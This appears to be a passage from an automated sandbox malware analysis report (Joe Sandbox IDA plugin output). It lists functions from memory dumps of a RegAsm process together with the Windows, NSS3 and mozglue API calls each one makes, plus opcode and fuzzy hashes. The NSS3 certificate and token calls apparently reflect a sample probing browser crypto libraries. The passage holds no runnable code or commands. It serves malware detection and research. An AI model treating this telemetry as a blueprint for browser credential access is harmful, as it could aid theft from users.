Part of subcall function 6C9E1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C9E128E
Part of subcall function 6C9E1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C9E129A
Part of subcall function 6C9E1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C9E12A1

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: fa371e755dacc3e4247db16143fbefed932eed0ff6d07f33955f1c51139caf3c
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: FF2108B1D107854BE700CF549D44BAE3768AFB530CF210269DD285B752F7B1E699C392

Function 6C9AACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C9AACC2

Part of subcall function 6C982F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C982F0A
Part of subcall function 6C982F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C982F1D

Part of subcall function 6C982AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C980A1B,00000000), ref: 6C982AF0
Part of subcall function 6C982AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C982B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C9AAD5E

Part of subcall function 6C9C57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C98B41E,00000000,00000000,?,00000000,?,6C98B41E,00000000,00000000,00000001,?), ref: 6C9C57E0
Part of subcall function 6C9C57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C9C5843

CERT_DestroyCertList.NSS3(?), ref: 6C9AAD36

Part of subcall function 6C982F50: CERT_DestroyCertificate.NSS3(?), ref: 6C982F65
Part of subcall function 6C982F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C982F83

free.MOZGLUE(?), ref: 6C9AAD4F

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 0bdb084ea33f51c84002d2ecf2eb79f06e5fafb5c98369d89c2cc420494c789f
Instruction ID: 8d3859fddfa20b611a3dd9d5cb7c302aab08f7bb31f0eaae89d6c796e8bec7bc
Opcode Fuzzy Hash: 0bdb084ea33f51c84002d2ecf2eb79f06e5fafb5c98369d89c2cc420494c789f
Instruction Fuzzy Hash: 9421C3B1D012198BEB10DFA4D9055EEB7F4AF25208F458068D845BB600FB31EA5ACBE1

Function 6C9DECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C9DF0AD,6C9DF150,?,6C9DF150,?,?,?), ref: 6C9DECBA

Part of subcall function 6C9E0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9887ED,00000800,6C97EF74,00000000), ref: 6C9E1000
Part of subcall function 6C9E0FF0: PR_NewLock.NSS3(?,00000800,6C97EF74,00000000), ref: 6C9E1016
Part of subcall function 6C9E0FF0: PL_InitArenaPool.NSS3(00000000,security,6C9887ED,00000008,?,00000800,6C97EF74,00000000), ref: 6C9E102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C9DECD1

Part of subcall function 6C9E10C0: TlsGetValue.KERNEL32(?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E10F3
Part of subcall function 6C9E10C0: EnterCriticalSection.KERNEL32(?,?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E110C
Part of subcall function 6C9E10C0: PL_ArenaAllocate.NSS3(?,?,?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E1141
Part of subcall function 6C9E10C0: PR_Unlock.NSS3(?,?,?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E1182
Part of subcall function 6C9E10C0: TlsGetValue.KERNEL32(?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C9DED02

Part of subcall function 6C9E10C0: PL_ArenaAllocate.NSS3(?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C9DED5A

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: d16e8a229945197f31fa8be15b3769a88e8dc1017525cbd24822d63d1988bcd7
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: C721A4B1900B429BE700CF25D944B56B7E4BFB9348F16C219E81C97762EB70E594C6D0

Function 6C9F08D0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C9F09B3,0000001A,?), ref: 6C9F08E9

Part of subcall function 6C9E0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C9E08B4

SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C9F08FD

Part of subcall function 6C9DFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C9D8D2D,?,00000000,?), ref: 6C9DFB85
Part of subcall function 6C9DFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C9DFBB1

SECITEM_AllocItem_Util.NSS3(?,00000000,00000001), ref: 6C9F0939
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C9F0953

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Util$ErrorItem_$AllocAlloc_ArenaCopyFindTag_memcpy
String ID:
API String ID: 2572351645-0
Opcode ID: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction ID: fa68f5745e127454202189ef11f4616aa389e06efe6b148edf1c8a6d5cab180e
Opcode Fuzzy Hash: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction Fuzzy Hash: 9E0145B1A0174A2BFB049B369C11B67379C9F6021CF049039EC3AC6F42FB31E4668B90

Function 6CA0EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C9F7FFA,?,6C9F9767,?,8B7874C0,0000A48E), ref: 6CA0EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C9F7FFA,?,6C9F9767,?,8B7874C0,0000A48E), ref: 6CA0EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C9F7FFA,?,6C9F9767,?,8B7874C0,0000A48E), ref: 6CA0EE14

Part of subcall function 6C9E0BE0: malloc.MOZGLUE(6C9D8D2D,?,00000000,?), ref: 6C9E0BF8
Part of subcall function 6C9E0BE0: TlsGetValue.KERNEL32(6C9D8D2D,?,00000000,?), ref: 6C9E0C15

memcpy.VCRUNTIME140(?,?,6C9F9767,00000000,00000000,6C9F7FFA,?,6C9F9767,?,8B7874C0,0000A48E), ref: 6CA0EE33

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 3712589496b344f2f208503573fd61d53cc77f471c487bf609b8d9ab1c48fe47
Instruction ID: 07c3261e1626a5773cdfc035c9263146d882e8a119cebcc9ead735a427336c06
Opcode Fuzzy Hash: 3712589496b344f2f208503573fd61d53cc77f471c487bf609b8d9ab1c48fe47
Instruction Fuzzy Hash: B51191B1B0470ABBEB109E65EC84B06B3A8EB0439CF284535E95986A00E730E4A4D7E1

Function 6C87B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C87B4F5
AcquireSRWLockExclusive.KERNEL32(6C8EF4B8), ref: 6C87B502
ReleaseSRWLockExclusive.KERNEL32(6C8EF4B8), ref: 6C87B542
free.MOZGLUE(?), ref: 6C87B578

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 5a0b339d51461c5de42c106c8d152573339b1ed0c45c97910caccb698dc8b20a
Instruction ID: 76e09167061c729e54df7e2bbc151949a05143468434d855c89324398c9bd100
Opcode Fuzzy Hash: 5a0b339d51461c5de42c106c8d152573339b1ed0c45c97910caccb698dc8b20a
Instruction Fuzzy Hash: E0118E31A04B45C7D7328F29DA04766B3B1FFAA31CF145B2AD84953A01EBB1A5C5C7A0

Function 6C9A8DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C9A8DE7
EnterCriticalSection.KERNEL32 ref: 6C9A8DFC
PR_Unlock.NSS3 ref: 6C9A8E2D
PR_SetError.NSS3 ref: 6C9A8E49

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: ce12074c3778cf18eb05ade4733f49637727c091dcc4dc93551345a781c46942
Instruction ID: f7d11b96be223a82114157a90ad95f305581729fe50b0e5810965aa3e50ed1ab
Opcode Fuzzy Hash: ce12074c3778cf18eb05ade4733f49637727c091dcc4dc93551345a781c46942
Instruction Fuzzy Hash: 4F118C71A05A119BD704BF78D5881AABBF4FF09718F418929DC88D7B00EB34E895CBD2

Function 6CA2AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CA15F17,?,?,?,?,?,?,?,?,6CA1AAD4), ref: 6CA2AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CA15F17,?,?,?,?,?,?,?,?,6CA1AAD4), ref: 6CA2ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CA1AAD4), ref: 6CA2ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CA1AAD4), ref: 6CA2ACDB

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: eb5042bc80ca5a0c5afbb10334243eee9a32ccc0f00263ca788263919c047a99
Instruction ID: 74f20475eff3f34a6d003d6d2c8558da60eb2e147b92a14465fc1b07c5a86c6d
Opcode Fuzzy Hash: eb5042bc80ca5a0c5afbb10334243eee9a32ccc0f00263ca788263919c047a99
Instruction Fuzzy Hash: A7018CB5601B229BE750DF69D908743B7E9BF00659B484839D85AC3A10EB38F455CB91

Function 6C8A3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C86F20E,?), ref: 6C8A3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C86F20E,00000000,?), ref: 6C8A3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C8A3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C8A3E0E

Part of subcall function 6C89CC00: GetCurrentProcess.KERNEL32(?,?,6C8631A7), ref: 6C89CC0D
Part of subcall function 6C89CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C8631A7), ref: 6C89CC16

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 380eb25a10c8093a79363311e40f7fd633b8e7a317f67114d4f348c372db7f12
Instruction ID: 628b8b2cf8ef5ff28c7b83a94a0bacaaa121b4c060d004b97e1687b2725ec149
Opcode Fuzzy Hash: 380eb25a10c8093a79363311e40f7fd633b8e7a317f67114d4f348c372db7f12
Instruction Fuzzy Hash: 55F082B19002087BDB10AB98DC41DBB372CDB4A628F050430FD0917701D635BD2586F7

Function 6C9D88E0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6C9E08AA,?), ref: 6C9D88F6
EnterCriticalSection.KERNEL32(?,?,?,?,6C9E08AA,?), ref: 6C9D890B
PR_NotifyCondVar.NSS3(?,?,?,?,?,6C9E08AA,?), ref: 6C9D8936
PR_Unlock.NSS3(?,?,?,?,?,6C9E08AA,?), ref: 6C9D8940

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: CondCriticalEnterNotifySectionUnlockValue
String ID:
API String ID: 959714679-0
Opcode ID: a39bc1e03b57d779b03985debe4b6b3d73656fb99e9daf61877825900ccc7c57
Instruction ID: 122f46b04be26bf152606f365ff27799c1aa79ff3c81752d4a9a2223999317a6
Opcode Fuzzy Hash: a39bc1e03b57d779b03985debe4b6b3d73656fb99e9daf61877825900ccc7c57
Instruction Fuzzy Hash: 4201A1B4A01B059BDB04AF79C484259B7F8FF05358F06862AD88497B01E734F495CBD6

Function 6CA2AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6CA15D40,00000000,?,?,6CA06AC6,6CA1639C), ref: 6CA2AC2D

Part of subcall function 6C9CADC0: TlsGetValue.KERNEL32(?,6C9ACDBB,?,6C9AD079,00000000,00000001), ref: 6C9CAE10
Part of subcall function 6C9CADC0: EnterCriticalSection.KERNEL32(?,?,6C9ACDBB,?,6C9AD079,00000000,00000001), ref: 6C9CAE24
Part of subcall function 6C9CADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C9AD079,00000000,00000001), ref: 6C9CAE5A
Part of subcall function 6C9CADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C9ACDBB,?,6C9AD079,00000000,00000001), ref: 6C9CAE6F
Part of subcall function 6C9CADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C9ACDBB,?,6C9AD079,00000000,00000001), ref: 6C9CAE7F
Part of subcall function 6C9CADC0: TlsGetValue.KERNEL32(?,6C9ACDBB,?,6C9AD079,00000000,00000001), ref: 6C9CAEB1
Part of subcall function 6C9CADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C9ACDBB,?,6C9AD079,00000000,00000001), ref: 6C9CAEC9

PK11_FreeSymKey.NSS3(?,6CA15D40,00000000,?,?,6CA06AC6,6CA1639C), ref: 6CA2AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6CA15D40,00000000,?,?,6CA06AC6,6CA1639C), ref: 6CA2AC59
free.MOZGLUE(8CB6FF01,6CA06AC6,6CA1639C,?,?,?,?,?,?,?,?,?,6CA15D40,00000000,?,6CA1AAD4), ref: 6CA2AC62

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 6d4bb025ba2a4a9bc9a0d12679747be592aaed8ded1942f545810fc7e6dd9685
Instruction ID: 47413e038a5fc8ee36f13ed953af863c0ad125783b775cf403a3cfaab5a470de
Opcode Fuzzy Hash: 6d4bb025ba2a4a9bc9a0d12679747be592aaed8ded1942f545810fc7e6dd9685
Instruction Fuzzy Hash: BE018BB56006109FDB00CF54E8C0B4677A8AF54B1CF1C80A8E9098F706E738EC88CBA2

Function 6CA9CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CA9CC61
free.MOZGLUE ref: 6CA9CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CA9CC80
free.MOZGLUE(?), ref: 6CA9CC87

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 0391572ccf0ae3e5f4ee0be111f1e26ec375578abea9e0c67908df897e85b46c
Instruction ID: 3d6a3f0a3b07778d8c008bedf6411b8755136826d17794decf633e311530d246
Opcode Fuzzy Hash: 0391572ccf0ae3e5f4ee0be111f1e26ec375578abea9e0c67908df897e85b46c
Instruction Fuzzy Hash: 8BE030767007199BCB10EFA8DC4488677BCEE492743554565E691C3700D635F905CBA1

Function 004011D0 Relevance: 6.0, APIs: 4, Instructions: 26COMMON

Download Yara Rule

APIs

CreateDCA.GDI32(00F7AA80,00000000,00000000,00000000), ref: 004011E2
GetDeviceCaps.GDI32(?,0000000A), ref: 004011F1
ReleaseDC.USER32(00000000,?), ref: 00401200
ExitProcess.KERNEL32 ref: 00401211

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: CapsCreateDeviceExitProcessRelease
String ID:
API String ID: 272768826-0
Opcode ID: 08d1e7ffdf07a555ae796108eeb1039241f12d65277624adf39f2af9d8b264a3
Instruction ID: 97456884ad0b6ef18ab359dcde09f3ca8448260d7b8d43e592fbf70d203c581b
Opcode Fuzzy Hash: 08d1e7ffdf07a555ae796108eeb1039241f12d65277624adf39f2af9d8b264a3
Instruction Fuzzy Hash: 5CF06574E80704BBE7109FE0EC09F2D7B76EB44701F109159FA05AA2D0C77454028B91

Function 6C8B85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C8B85D3

Part of subcall function 6C87CA10: malloc.MOZGLUE(?), ref: 6C87CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C8B8725

Strings

map/set<T> too long, xrefs: 6C8B8720

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

